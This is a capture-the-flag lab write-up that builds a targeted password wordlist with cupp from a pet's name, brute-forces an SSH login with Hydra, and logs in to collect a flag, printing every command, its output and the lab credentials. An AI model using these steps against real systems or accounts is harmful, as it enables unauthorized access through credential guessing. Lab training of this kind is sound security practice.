

Breaking Hollywood

A few days back, you had an argument with your friend Julio Hernandez about password complexity.

He claimed you would never guess his strong passwords! As a challenge, he had set up an SSH server and secured it with one of his default passwords.

Your goals

You were provided with the user and password '**corey:TcPZ2rrS!**' to reconnect if necessary.

- Create a custom wordlist to use against the accessible SSH service.
- Execute a brute-force attack against the SSH service.
- Retrieve Hernandez's password, and attempt to log in into the server.

My Process:

First, I examined all the details in the short video clip. There was a picture of a cute dog named **Cachorro** on the cell phone receiving texts. The same dog is on the desktop background. There's also a coffee mug with **/cup** written on it. These are clues.

Step 1: (goal) - create a custom wordlist to use against the accessible SSH service.

- I started by using the **cupp** command, which stands for **Common User Passwords Profiler** and is a tool used in password auditing, social engineering assessments, authorized penetration tests and Red Team exercises. I include **-i** which =interactive mode. This mode prompts you for information about the target (name, nickname, birthdate, spouse, pet names etc). This compilation of data helps us generate a customized wordlist of likely passwords.

- **cupp -i**
 - Input **Hernandez** for the First Name
 - Click enter all the way until **Pet's name**, input: **Cachorro**
 - **N** for 'add some key words...'
 - **N** for 'special chars...'
 - **N** for 'add some random numbers...'
 - **Y** for Leet mode?
 - Click Enter to start making a dictionary

```

corey@debian:~$ cupp -i

[+] Insert the informations about the victim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)

> First Name: Hernandez
> Surname:
> Nickname:
> Birthdate (DDMMYYYY):

> Partners) name:
> Partners) nickname:
> Partners) birthdate (DDMMYYYY):

> Child's name:
> Child's nickname:
> Child's birthdate (DDMMYYYY):

> Pet's name: Cachorro
> Company name:

> Do you want to add some key words about the victim? Y/[N]: n
> Do you want to add special chars at the end of words? Y/[N]: n
> Do you want to add some random numbers at the end of words? Y/[N]: n
> Leet mode? (i.e. leet = 1337) Y/[N]: y

[+] Now making a dictionary...
[+] Sorting list and removing duplicates...
[+] Saving dictionary to hernandez.txt, counting 20 words.
[+] Now load your pistolero with hernandez.txt and shoot! Good luck!
corey@debian:~$

```

Step 2: (goal) Execute a brute-force attack against the SSH service

- First, I need to find out the **IP address** of the **SSH service** I want to initiate my brute-force attack on. I accomplished this by using **ip neigh** (or IP neighbor) which is like your network's address book of reachable devices and their statuses (REACHABLE, STALE, FAILED).

- **ip neigh**

- There are three IP addresses that are REACHABLE, I chose the first one

```

corey@debian:~$ ip neigh
172.17.0.12 dev eth0 lladdr 02:42:ac:11:00:0c REACHABLE
172.17.0.1 dev eth0 lladdr 02:42:dc:61:5e:55 REACHABLE
172.17.0.19 dev eth0 lladdr 02:42:ac:11:00:13 REACHABLE
corey@debian:~$

```

- Now, I'm ready to begin my attack using **Hydra**. I want my command to utilize **'-l'** (minus elle) to specify the login name, **'-P'** to specify the file containing the list of passwords we created with the cupp command, the ssh address from ip neigh results, **'-f'** to tell Hydra to stop the attack after it

finds the first successful login, and `-v` to enable verbose mode which tells Hydra to display detailed information about the attack as it progresses.

- **hydra -l hernandez -P hernandez.txt ssh://172.17.0.12 -f -v**

```
corey@debian:~$ hydra -l hernandez -P hernandez.txt ssh://172.17.0.12 -f -v
Hydra v8.8 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-12-25 19:10:58
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 20 login tries (l:1/p:20), ~2 tries per task
[DATA] attacking ssh://172.17.0.12:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://hernandez@172.17.0.12:22
[INFO] Successful, password authentication is supported by ssh://172.17.0.12:22
[22][ssh] host: 172.17.0.12 login: hernandez password: c4ch0rr0
[STATUS] attack finished for 172.17.0.12 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-12-25 19:10:58
corey@debian:~$
```

That command returned the:

- Host: 172.17.0.12
- Login: **hernandez**
- Password: **c4ch0rr0**

Step 3: (goal) Retrieve Hernandez's password, and attempt to log in into the server.

- To do that, I just need to login to the SSH server using Hernandez's credentials retrieved from the previous step.

- **ssh hernandez@172.17.0.12**

And look, there it is at the bottom, our **Congratulations! The flag is: ...**

```
corey@debian:~$ ssh hernandez@172.17.0.12
The authenticity of host '172.17.0.12 (172.17.0.12)' can't be established.
ECDSA key fingerprint is SHA256:9PlLNgrH0kG3Q7KdecY5FTZvEvn537kAGJoesqs/47Y.
Are you sure you want to continue connecting (yes/no)? y
Please type 'yes' or 'no': yes
Warning: Permanently added '172.17.0.12' (ECDSA) to the list of known hosts.
hernandez@172.17.0.12's password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.14.252-195.483.amzn2.x86_64 x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

-----

Congratulations! The flag is: @ab3a7a7e0b92736f37c8f6384f345d5

-----
```

Submit flag

▶ what is a flag



Ready to submit your answer?

0ab3a7a7e0b92736f37c8f6384f345d5

▶ Submit



OBJECTIVE SECURED